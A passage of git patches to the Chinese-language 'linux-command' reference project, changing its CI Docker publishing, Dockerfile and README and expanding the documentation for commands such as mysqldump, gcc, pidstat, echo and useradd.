-+sssssssssssssssssyyyssss+- + `:+ssssssssssssssssss+:` + .-/+oossssoo+/-. +``` + + From 87e95e88180865cf5583eb0b9a7a1d25122f8608 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 15 Jun 2022 09:46:52 +0800 Subject: [PATCH 0490/1019] chore: update workflows config. --- .github/workflows/ci.yml | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0e70e0b4dbf..2e44d52e968 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -125,4 +125,22 @@ jobs: docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} - docker push ${{ secrets.DOCKER_USER }}/linux-command:latest \ No newline at end of file + docker push ${{ secrets.DOCKER_USER }}/linux-command:latest + + # Create Docker Image in Github + - name: Login to GitHub registry + run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin + + - name: Build docker image + run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . + + - name: Publish to GitHub registry + run: docker push ghcr.io/jaywcjlove/linux-command:latest + + + - name: Tag docker image (beta) and publish to GitHub registry + if: steps.create_tag.outputs.successful + run: | + echo "version: v${{ steps.changelog.outputs.version }}" + docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} \ No newline at end of file From 22f7c284fc7ac2ed47c04b35aa6710b6d19936f6 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 15 Jun 2022 09:48:29 +0800 Subject: [PATCH 0491/1019] Update command/neofetach.md (#375) --- command/neofetach.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/command/neofetach.md b/command/neofetach.md index 84911404b40..50400a188a2 100644 --- a/command/neofetach.md +++ b/command/neofetach.md @@ -12,30 +12,30 @@ Neofetch是一个在终端上显示带有发行徽标的系统信息工具，neo Neofetch是一个开源工具，[项目地址](https://github.com/dylanaraps/neofetch) - ### 安装 + Debian/Ubuntu + ```shell sudo apt install neofetch -y ``` CentOS + ```shell sudo yum install neofetch -y sudo dnf install neofetch -y ``` -[更多系统安装](https://github.com/dylanaraps/neofetch/wiki/Installation) - - +[更多系统安装](https://github.com/dylanaraps/neofetch/wiki/Installation) ### 语法 ``` neofetach ``` - ### 返回 + **回显** macOS: @@ -60,6 +60,7 @@ macOS: ``` Ubuntu: + ```shell .-/+oossssoo+/-. root@root `:+ssssssssssssssssss+:` ------------ From 1b3204c36867c3dcea3904be14012d3dc685bfa6 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 15 Jun 2022 10:28:21 +0800 Subject: [PATCH 0492/1019] doc: Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 31a6f381a8f..9aed0331ed4 100644 --- a/README.md +++ b/README.md @@ -124,12 +124,16 @@ ```bash docker pull wcjiang/linux-command +# Or +docker pull ghcr.io/jaywcjlove/linux-command:latest ``` ```bash docker run --name linux-command --rm -d -p 9665:80 wcjiang/linux-command:latest # Or docker run --name linux-command -itd -p 9665:80 wcjiang/linux-command:latest +# Or +docker run --name linux-command -itd -p 9665:80 ghcr.io/jaywcjlove/linux-command:latest ``` 在浏览器中访问以下 URL From 49162f4197dbe3c05525379fbbca685c8e126907 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=A1=B9=E9=87=91?= Date: Fri, 17 Jun 2022 10:51:05 +0800 Subject: [PATCH 0493/1019] Update mysqldump.md (#376) --- command/mysqldump.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/command/mysqldump.md b/command/mysqldump.md index e644837c5bd..d1d067b680f 100644 --- a/command/mysqldump.md +++ b/command/mysqldump.md @@ -32,6 +32,7 @@ mysqldump(选项) --password：连接MySQL服务器的密码； --port：MySQL服务器的端口号； --user：连接MySQL服务器的用户名。 +--skip-lock-tables: 不锁表导出 ``` ### 实例 @@ -58,4 +59,12 @@ mysqldump -u linuxde -p -d --add-drop-table smgp_apps_linuxde > linuxde_db.sql `-d`没有数据，`--add-drop-tabl`e每个create语句之前增加一个`drop table` +### 问题解决 + +**锁表失败** +``` +mysqldump: Got error: 1044: "Access denied for user 'appuser'@'1%' to database 'tc_mall'" when doing LOCK TABLES +``` +可使用`--skip-lock-tables`在导出数据阶段跳过锁表流程 + From 27cdff735161140cc57616e68dc421981ce03841 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=A1=B9=E9=87=91?= Date: Sun, 19 Jun 2022 00:48:22 +0800 Subject: [PATCH 0494/1019] Update gcc.md (#377) --- command/gcc.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/command/gcc.md b/command/gcc.md index ee3d5d8f4c8..80b0862f0e2 100644 --- a/command/gcc.md +++ b/command/gcc.md @@ -21,6 +21,8 @@ gcc(选项)(参数) -S：将C代码转换为汇编代码； -wall：显示警告信息； -c：仅执行编译操作，不进行连接操作。 +-l：用来指定程序要链接的库，-l参数紧接着就是库名 +-I：寻找头文件的目录 ``` ### 参数 @@ -113,4 +115,13 @@ gcc -o testfun.o test.o -o test #将testfun.o和test.o链接成test 以上两种方法相比较，第一中方法编译时需要所有文件重新编译，而第二种方法可以只重新编译修改的文件，未修改的文件不用重新编译。 +**加载动态链接库** +```shell +gcc hello.c -lpthread -o hello +``` + +**手动添加文件头路径** +```shell +gcc hello.c -lpthread -I /lib64/ -o hello +``` From db4c9abe4bddf8c88696d95d6d320dad70e398f3 Mon Sep 17 00:00:00 2001 From: watt <38394031+wa7t@users.noreply.github.com> Date: Wed, 22 Jun 2022 10:02:42 +0800 Subject: [PATCH 0495/1019] Update mpstat.md (#378) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 补充表头字段含义 --- command/mpstat.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/command/mpstat.md b/command/mpstat.md index a04e899bc8a..d44a6d0a687 100644 --- a/command/mpstat.md +++ b/command/mpstat.md @@ -24,6 +24,15 @@ mpstat(选项)(参数) * 间隔时间：每次报告的间隔时间（秒）； * 次数：显示报告的次数。 +### 表头含义 +* %user：表示处理用户进程所使用 CPU 的百分比。 +* %nice：表示使用 nice 命令对进程进行降级时 CPU 的百分比。 +* %system：表示内核进程使用的 CPU 百分比。 +* iowait：表示等待进行I/O所占用CPU时间百分比。 +* irq：表示用于处理系统中断的CPU百分比。 +* soft：表示用于处理软件中断的CPU百分比。 +* idle：CPU的空闲时间百分比。 + ### 实例 当mpstat不带参数时，输出为从系统启动以来的平均值。 From 1f5daf938d0586e275038396ba5077fd55470158 Mon Sep 17 00:00:00 2001 From: Zhang Zijing <50045289+pluveto@users.noreply.github.com> Date: Wed, 22 Jun 2022 21:55:17 +0800 Subject: [PATCH 0496/1019] Update diff.md (#379) --- command/diff.md | 56 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/command/diff.md b/command/diff.md index 5d134240bc2..56fcfbbda24 100644 --- a/command/diff.md +++ b/command/diff.md @@ -59,6 +59,62 @@ diff(选项)(参数) ### 实例 +#### 以正常模式比较差异 + +```shell +diff a.txt b.txt +``` + +#### 以上下文 (context) 模式比较差异 + +```shell +diff -c a.txt b.txt +``` + +``` +　　*** a1.txt 2012-08-29 16:45:41.000000000 +0800 +　　--- a2.txt 2012-08-29 16:45:51.000000000 +0800 +　　*************** +　　*** 1,7 **** +　　 a +　　 a +　　 a +　　!a +　　 a +　　 a +　　 a +　　--- 1,7 ---- +　　 a +　　 a +　　 a +　　!b +　　 a +　　 a +　　 a +``` + +#### 以联合 (unified) 模式比较差异 + +```shell +diff -u a.txt b.txt +``` + +``` +　　--- a.txt 2012-08-29 16:45:41.000000000 +0800 +　　+++ b.txt 2012-08-29 16:45:51.000000000 +0800 +　　@@ -1,7 +1,7 @@ +　　 a +　　 a +　　 a +　　-a +　　+b +　　 a +　　 a +　　 a +``` + +#### 多文件比较差异 + 将目录`/usr/li`下的文件"test.txt"与当前目录下的文件"test.txt"进行比较，输入如下命令： ```shell From 3f5f3c5ad93009c16801db912c91509aa1603fbe Mon Sep 17 00:00:00 2001 From: watt <38394031+wa7t@users.noreply.github.com> Date: Thu, 23 Jun 2022 12:09:39 +0800 Subject: [PATCH 0497/1019] Create pidstat.md (#380) --- command/pidstat.md | 120 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 command/pidstat.md diff --git a/command/pidstat.md b/command/pidstat.md new file mode 100644 index 00000000000..bb113b9acbf --- /dev/null +++ b/command/pidstat.md @@ -0,0 +1,120 @@ +pidstat +=== +监控进程的系统资源占用情况 + +## 说明 +**pidstat**是sysstat工具的一个命令，用于监控全部或指定进程的cpu、内存、线程、设备IO等系统资源的占用情况。 +pidstat首次运行时显示自系统启动开始的各项统计信息，之后运行pidstat将显示自上次运行该命令以后的统计信息。用户可以通过指定统计的次数和时间来获得所需的统计信息。 + +### 语法 +```shell +pidstat [ 选项 ] [ <时间间隔> ] [ <次数> ] +``` +#### 选项 +- u：默认的参数，显示各个进程的cpu使用统计 +- r：显示各个进程的内存使用统计 +- d：显示各个进程的IO使用情况 +- w：显示每个进程的上下文切换情况 +- t：显示到线程的统计信息 +- p：指定进程号 +- T { TASK | CHILD | ALL } + 这个选项指定了pidstat监控的。TASK表示报告独立的task，CHILD关键字表示报告进程下所有线程统计信息。ALL表示报告独立的task和task下面的所有线程。 + 注意：task和子线程的全局的统计信息和pidstat选项无关。这些统计信息不会对应到当前的统计间隔，这些统计信息只有在子线程kill或者完成的时候才会被收集。 +- V：版本号 +- h：在一行上显示了所有活动，这样其他程序可以容易解析。 +- I：在SMP环境，表示任务的CPU使用率/内核数量 +- l：显示命令名和所有参数 + +### 实例 +#### 查看所有进程的CPU使用情况 +```shell +# pidstat -u -p ALL +11:04:06 AM UID PID %usr %system %guest %CPU CPU Command +11:04:06 AM 0 1 0.03 0.05 0.00 0.08 20 systemd +11:04:06 AM 0 2 0.00 0.00 0.00 0.00 28 kthreadd +11:04:06 AM 0 3 0.00 0.00 0.00 0.00 0 rcu_gp +11:04:06 AM 0 4 0.00 0.00 0.00 0.00 0 rcu_par_gp +11:04:06 AM 0 6 0.00 0.00 0.00 0.00 0 kworker/0:0H-kblockd +11:04:06 AM 0 9 0.00 0.00 0.00 0.00 38 mm_percpu_wq +11:04:06 AM 0 10 0.00 0.01 0.00 0.01 0 ksoftirqd/0 +11:04:06 AM 0 11 0.00 0.23 0.00 0.23 15 rcu_sched +11:04:06 AM 0 12 0.00 0.00 0.00 0.00 0 migration/0 +11:04:06 AM 0 14 0.00 0.00 0.00 0.00 0 cpuhp/0 +11:04:06 AM 0 15 0.00 0.00 0.00 0.00 1 cpuhp/1 +... +``` +表头字段说明 +- PID：进程ID +- %usr：进程在用户空间占用cpu的百分比 +- %system：进程在内核空间占用cpu的百分比 +- %guest：进程在虚拟机占用cpu的百分比 +- %CPU：进程占用cpu的百分比 +- CPU：处理进程的cpu编号 +- Command：当前进程对应的命令 + +#### 查看所有进程的内存使用情况 +```shell +# pidstat -r +11:10:35 AM UID PID minflt/s majflt/s VSZ RSS %MEM Command +11:10:35 AM 0 1 7.24 0.05 191312 4208 0.01 systemd +11:10:35 AM 0 1407 2.02 0.09 39316 9016 0.03 systemd-journal +11:10:35 AM 0 1442 0.03 0.00 190380 1080 0.00 lvmetad +11:10:35 AM 0 1457 0.46 0.00 46252 1560 0.00 systemd-udevd +11:10:35 AM 0 2429 0.11 0.00 163620 9472 0.03 sshd +11:10:35 AM 992 2446 0.02 0.00 8588 996 0.00 lsmd +11:10:35 AM 0 2447 0.05 0.00 90572 1468 0.00 rngd +11:10:35 AM 0 2448 0.15 0.02 451272 3520 0.01 udisksd +11:10:35 AM 0 2449 0.18 0.02 396488 1948 0.01 accounts-daemon +11:10:35 AM 0 2454 0.02 0.02 201336 1464 0.00 gssproxy +... +``` +表头字段说明 +- PID：进程标识符 +- Minflt/s:任务每秒发生的次要错误，不需要从磁盘中加载页 +- Majflt/s:任务每秒发生的主要错误，需要从磁盘中加载页 +- VSZ：虚拟地址大小，虚拟内存的使用KB +- RSS：常驻集合大小，非交换区五里内存使用KB +- Command：task命令名 + +#### 查看所有进程的IO使用情况 +```shell +# pidstat -d +11:12:30 AM UID PID kB_rd/s kB_wr/s kB_ccwr/s Command +11:12:30 AM 0 1 250.05 11.57 2.13 systemd +11:12:30 AM 0 224 1.21 0.00 0.00 khugepaged +11:12:30 AM 0 290 0.03 0.00 0.00 kswapd0 +11:12:30 AM 0 291 0.02 0.00 0.00 kswapd1 +11:12:30 AM 0 1312 1.03 0.00 0.00 xfsaild/dm-0 +11:12:30 AM 0 1407 1.31 0.00 0.00 systemd-journal +11:12:30 AM 0 1442 0.01 0.00 0.00 lvmetad +11:12:30 AM 0 1457 1.77 0.00 0.00 systemd-udevd +11:12:30 AM 992 2446 0.79 0.00 0.00 lsmd +11:12:30 AM 0 2447 0.07 0.00 0.00 rngd +11:12:30 AM 0 2448 0.46 0.00 0.00 udisksd +... +``` +表头字段说明 +- PID：进程id +- kB_rd/s：每秒从磁盘读取的KB +- kB_wr/s：每秒写入磁盘KB +- kB_ccwr/s：任务取消的写入磁盘的KB。当任务截断脏的pagecache的时候会发生。 +- COMMAND:task的命令名 + +#### 查看进程的上下文切换情况 +```shell +# pidstat -w +11:15:52 AM UID PID cswch/s nvcswch/s Command +11:15:52 AM 0 1 3.15 0.03 systemd +11:15:52 AM 0 2 0.13 0.00 kthreadd +11:15:52 AM 0 3 0.00 0.00 rcu_gp +11:15:52 AM 0 4 0.00 0.00 rcu_par_gp +11:15:52 AM 0 6 0.00 0.00 kworker/0:0H-kblockd +11:15:52 AM 0 9 0.00 0.00 mm_percpu_wq +11:15:52 AM 0 10 1.99 0.00 ksoftirqd/0 +... +``` +表头字段含义 +- PID:进程id +- Cswch/s:每秒主动任务上下文切换数量 +- Nvcswch/s:每秒被动任务上下文切换数量 +- Command:命令名 From aeeca09649d6589e044a47d4e0445a9076df3198 Mon Sep 17 00:00:00 2001 From: Zhang Zijing <50045289+pluveto@users.noreply.github.com> Date: Thu, 23 Jun 2022 17:33:04 +0800 Subject: [PATCH 0498/1019] Update echo.md (#381) --- command/echo.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/command/echo.md b/command/echo.md index 8388b38a9b4..0af8cc79552 100644 --- a/command/echo.md +++ b/command/echo.md @@ -16,7 +16,9 @@ echo(选项)(参数) ### 选项 ```shell --e：激活转义字符。 +-e：启用转义字符。 +-E: 不启用转义字符（默认） +-n: 结尾不换行 ``` 使用`-e`选项时，若字符串中出现以下字符，则特别加以处理，而不会将它当成一般文字输出： From 902d899dac512a4b3211a9575823fd12ad4577c2 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Jun 2022 13:11:09 +0800 Subject: [PATCH 0499/1019] chore: update Dockerfile. --- Dockerfile | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/Dockerfile b/Dockerfile index 36222a3f97c..8fc49da1d13 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,10 +1,7 @@ -FROM nginx:1-alpine +# https://lipanski.com/posts/smallest-docker-image-static-website +# https://github.com/lipanski/docker-static-website +FROM lipanski/docker-static-website:latest -ENV APPDIR /usr/share/nginx/html -RUN mkdir -p $APPDIR - -RUN cat /etc/nginx/conf.d/default.conf - -WORKDIR $APPDIR - -ADD ./.deploy /usr/share/nginx/html \ No newline at end of file +# Copy the static website +# Use the .dockerignore file to control what ends up inside the image! +COPY ./.deploy . From f02394904e91e4118fc3617fa0f3f4d7d81d5e1e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Jun 2022 13:14:37 +0800 Subject: [PATCH 0500/1019] released v1.10.1 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 0648ff27891..87263b8067d 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.10.0", + "version": "1.10.1", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 23e3a6afc1b5f49f89d8cb3b641c8acd383e8b33 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Jun 2022 13:30:33 +0800 Subject: [PATCH 0501/1019] chore: update document. --- .github/workflows/ci.yml | 4 ++-- README.md | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2e44d52e968..0c6bb139265 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -92,9 +92,9 @@ jobs: ``` ```bash - docker run --name linux-command --rm -d -p 9665:80 wcjiang/linux-command:latest + docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest # Or - docker run --name linux-command -itd -p 9665:80 wcjiang/linux-command:latest + docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest ``` 在浏览器中访问以下 URL diff --git a/README.md b/README.md index 9aed0331ed4..53ccf611ef9 100644 --- a/README.md +++ b/README.md @@ -129,11 +129,11 @@ docker pull ghcr.io/jaywcjlove/linux-command:latest ``` ```bash -docker run --name linux-command --rm -d -p 9665:80 wcjiang/linux-command:latest +docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest # Or -docker run --name linux-command -itd -p 9665:80 wcjiang/linux-command:latest +docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest # Or -docker run --name linux-command -itd -p 9665:80 ghcr.io/jaywcjlove/linux-command:latest +docker run --name linux-command -itd -p 9665:3000 ghcr.io/jaywcjlove/linux-command:latest ``` 在浏览器中访问以下 URL From 38543b7db74f1a64f9bb3e7dc34cd579521aebf6 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 18 Jul 2022 08:46:09 +0800 Subject: [PATCH 0502/1019] Update command/useradd.md (#386) --- command/useradd.md | 70 ++++++++++++++++++++++++++++++++++++---------- 1 file changed, 56 insertions(+), 14 deletions(-) diff --git a/command/useradd.md b/command/useradd.md index 41311264a13..9f9cb6b1c5f 100644 --- a/command/useradd.md +++ b/command/useradd.md @@ -18,31 +18,73 @@ useradd(选项)(参数) ### 选项 ```shell --c<备注>：加上备注文字。备注文字会保存在passwd的备注栏位中； --d<登入目录>：指定用户登入时的启始目录； --D：变更预设值； --e<有效期限>：指定帐号的有效期限； --f<缓冲天数>：指定在密码过期后多少天即关闭该帐号； --g<群组>：指定用户所属的群组； --G<群组>：指定用户所属的附加群组； --m：自动建立用户的登入目录； --M：不要自动建立用户的登入目录； --n：取消建立以用户名称为名的群组； --r：建立系统帐号； --s：指定用户登入后所使用的shell； --u：指定用户id。 +-b, --base-dir BASE_DIR # 如果未指定 -d HOME_DIR，则系统的默认基本目录。如果未指定此选项，useradd 将使用 /etc/default/useradd 中的 HOME 变量指定的基本目录，或默认使用 /home。 +-c, --comment COMMENT # 加上备注文字。任何文本字符串。它通常是对登录名的简短描述，目前用作用户全名的字段。 +-d, --home HOME_DIR # 将使用 HOME_DIR 作为用户登录目录的值来创建新用户。 +-D, --defaults # 变更预设值。 +-e, --expiredate EXPIRE_DATE # 用户帐户将被禁用的日期。 日期以 YYYY-MM-DD 格式指定。 +-f, --inactive INACTIVE # 密码过期后到帐户被永久禁用的天数。 +-g, --gid GROUP # 用户初始登录组的组名或编号。组名必须存在。组号必须引用已经存在的组。 +-G, --groups GROUP1[,GROUP2,...[,GROUPN]]] # 用户也是其成员的补充组列表。每个组用逗号隔开，中间没有空格。 +-h, --help # 显示帮助信息并退出。 +-k, --skel SKEL_DIR # 骨架目录，其中包含要在用户的主目录中复制的文件和目录，当主目录由 useradd 创建时。 +-K, --key KEY=VALUE # 覆盖 /etc/login.defs 默认值（UID_MIN、UID_MAX、UMASK、PASS_MAX_DAYS 等）。 +-l, --no-log-init # 不要将用户添加到 lastlog 和 faillog 数据库。 +-m, --create-home # 如果用户的主目录不存在，则创建它。 +-M # 不要创建用户的主目录，即使 /etc/login.defs (CREATE_HOME) 中的系统范围设置设置为 yes。 +-N, --no-user-group # 不要创建与用户同名的组，而是将用户添加到由 -g 选项或 /etc/default/useradd 中的 GROUP 变量指定的组中。 +-o, --non-unique # 允许创建具有重复（非唯一）UID 的用户帐户。 此选项仅在与 -o 选项结合使用时有效。 +-p, --password PASSWORD # crypt(3) 返回的加密密码。 默认是禁用密码。 +-r, --system # 创建一个系统帐户。 +-s, --shell SHELL # 用户登录 shell 的名称。 +-u, --uid UID # 用户 ID 的数值。 +-U, --user-group # 创建一个与用户同名的组，并将用户添加到该组。 +-Z, --selinux-user SEUSER # 用户登录的 SELinux 用户。 默认情况下将此字段留空，这会导致系统选择默认的 SELinux 用户。 + +# 更改默认值 +# 当仅使用 -D 选项调用时，useradd 将显示当前默认值。 当使用 -D 和其他选项调用时，useradd 将更新指定选项的默认值。 有效的默认更改选项是： ``` ### 参数 用户名：要创建的用户名。 +### 退出值 + +`useradd` 命令以以下值退出： + +```shell +0 成功 +1 无法更新密码文件 +2 无效的命令语法 +3 选项的无效参数 +4 UID 已经在使用（并且没有 -o） +6 指定的组不存在 +9 用户名已被使用 +10 无法更新组文件 +12 无法创建主目录 +13 无法创建邮件假脱机 +14 无法更新 SELinux 用户映射 +``` + +### 文件 + +```shell +/etc/passwd # 用户帐户信息。 +/etc/shadow # 保护用户帐户信息。 +/etc/group # 组帐户信息。 +/etc/gshadow # 保护组帐户信息。 +/etc/default/useradd # 帐户创建的默认值。 +/etc/skel/ # 包含默认文件的目录。 +/etc/login.defs # 影子密码套件配置。 +``` + ### 实例 新建用户加入组： ```shell -useradd –g sales jack –G company,employees //-g：加入主要组、-G：加入次要组 +useradd –g sales jack –G company,employees # -g：加入主要组、-G：加入次要组 ``` 建立一个新用户账户，并设置ID： From 02adf0a006cad66273a15c37b9937650e2aae65c Mon Sep 17 00:00:00 2001 From: cxalc <79086256+cxalc@users.noreply.github.com> Date: Thu, 21 Jul 2022 09:09:18 +0800 Subject: [PATCH 0503/1019] Update route.md (#387) --- command/route.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/route.md b/command/route.md index e949ed2ec69..2d462d9c817 100644 --- a/command/route.md +++ b/command/route.md @@ -78,7 +78,7 @@ Destination Gateway Genmask Flags Metric Ref Use Iface **添加网关/设置网关：** ```shell -route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 #增加一条到达244.0.0.0的路由。 +route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 #增加一条到达224.0.0.0的路由。 ``` **屏蔽一条路由：** From 0f6e2746e03c9bf48ab5f1df8fe1a840c82025ef Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Mon, 25 Jul 2022 15:37:40 +0800 Subject: [PATCH 0504/1019] Update echo.md (#390) --- command/echo.md | 41 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 40 insertions(+), 1 deletion(-) diff --git a/command/echo.md b/command/echo.md index 0af8cc79552..db8c9834ea0 100644 --- a/command/echo.md +++ b/command/echo.md @@ -40,9 +40,32 @@ echo(选项)(参数) ### 实例 +```shell +/bin/echo Hello, world! +``` + +在上面的命令中，两个词（Hello 和 world！）作为单独的参数传递给 echo，并且 echo 按顺序打印它们，用空格分隔 + +下一个命令产生相同的输出： + +```shell +/bin/echo 'Hello, World!' +``` + +但是，与第一个示例不同，上述命令提供了单引号字符串 'Hello, world!' 作为一个单一的一个参数。 + +单引号将可靠地保护它免受 shell 解释，将特殊字符和转义序列逐字传递给 echo。 + +例如，在 `bash shell` 中，变量名前面有一个美元符号 ($)。 在下一个命令中，引号内的变量名按字面意思处理； 在引号之外，它被转换为它的值。 + +```shell +/bin/echo 'The value of $PATH is' $PATH +# The value of $PATH is /home/hope/bin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +``` + 用echo命令打印带有色彩的文字： - **文字色：** +**文字色：** ```shell echo -e "\e[1;31mThis is red text\e[0m" @@ -54,6 +77,17 @@ This is red text 颜色码：重置=0，黑色=30，红色=31，绿色=32，黄色=33，蓝色=34，洋红=35，青色=36，白色=37 +```shell +echo -e "\x1b[30;1m 0 黑色 \x1b[0m"\ +"\x1b[31;1m 1 红色 \x1b[0m"\ +"\x1b[32;1m 2 绿色 \x1b[0m"\ +"\x1b[33;1m 3 黄色 \x1b[0m"\ +"\x1b[34;1m 4 蓝色 \x1b[0m"\ +"\x1b[35;1m 5 洋红 \x1b[0m"\ +"\x1b[36;1m 6 青色 \x1b[0m"\ +"\x1b[37;1m 7 白色 \x1b[0m" +``` + **背景色** ： ```shell @@ -73,3 +107,8 @@ echo -e "\033[37;31;5mMySQL Server Stop...\033[39;49;0m" +**输出内容结尾不添加换行符** + +```shell +echo -n 'hello' +``` From d2114d6e38b37cdb53e36fa7e883f0d89d88d323 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Mon, 25 Jul 2022 15:42:54 +0800 Subject: [PATCH 0505/1019] Update echo.md --- command/echo.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/command/echo.md b/command/echo.md index db8c9834ea0..8707657f447 100644 --- a/command/echo.md +++ b/command/echo.md @@ -60,7 +60,8 @@ echo(选项)(参数) ```shell /bin/echo 'The value of $PATH is' $PATH -# The value of $PATH is /home/hope/bin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +# The value of $PATH is +# /home/hope/bin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` 用echo命令打印带有色彩的文字： From b9288fd98bc81b49572a5ae76632df36818b2513 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 25 Jul 2022 15:54:31 +0800 Subject: [PATCH 0506/1019] chore: update workflows config. --- .github/workflows/ci.yml | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0c6bb139265..77759e6616e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -111,21 +111,22 @@ jobs: # Create Docker Image - name: Docker login - if: steps.create_tag.outputs.successful run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} - name: Build linux-command image - if: steps.create_tag.outputs.successful run: docker image build -t linux-command . + - name: Tags & Push image(latest) + run: | + docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest + docker push ${{ secrets.DOCKER_USER }}/linux-command:latest + - name: Tags & Push image if: steps.create_tag.outputs.successful run: | echo "outputs.tag - ${{ steps.changelog.outputs.version }}" docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} - docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} - docker push ${{ secrets.DOCKER_USER }}/linux-command:latest # Create Docker Image in Github - name: Login to GitHub registry @@ -137,7 +138,6 @@ jobs: - name: Publish to GitHub registry run: docker push ghcr.io/jaywcjlove/linux-command:latest - - name: Tag docker image (beta) and publish to GitHub registry if: steps.create_tag.outputs.successful run: | From 15ab6a87bcfe7d69a7728a02befbd6acfc8bb993 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 25 Jul 2022 16:03:18 +0800 Subject: [PATCH 0507/1019] chore: ommand/neofetach.md -> command/neofetch.md --- command/{neofetach.md => neofetch.md} | 0 dist/data.json | 10 ++++++++++ dist/data.min.json | 2 +- 3 files changed, 11 insertions(+), 1 deletion(-) rename command/{neofetach.md => neofetch.md} (100%) diff --git a/command/neofetach.md b/command/neofetch.md similarity index 100% rename from command/neofetach.md rename to command/neofetch.md diff --git a/dist/data.json b/dist/data.json index ed0cc5c17a4..ea640bc9aa3 100644 --- a/dist/data.json +++ b/dist/data.json @@ -1614,6 +1614,11 @@ "p": "/ncftp", "d": "是增强的的FTP工具" }, + "neofetch": { + "n": "neofetch", + "p": "/neofetch", + "d": "显示带有发行徽标的系统信息的工具" + }, "nethogs": { "n": "nethogs", "p": "/nethogs", @@ -1774,6 +1779,11 @@ "p": "/pidof", "d": "查找指定名称的进程的进程号ID号" }, + "pidstat": { + "n": "pidstat", + "p": "/pidstat", + "d": "监控进程的系统资源占用情况" + }, "pigz": { "n": "pigz", "p": "/pigz", diff --git a/dist/data.min.json b/dist/data.min.json index e197176eda4..d34e6602534 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 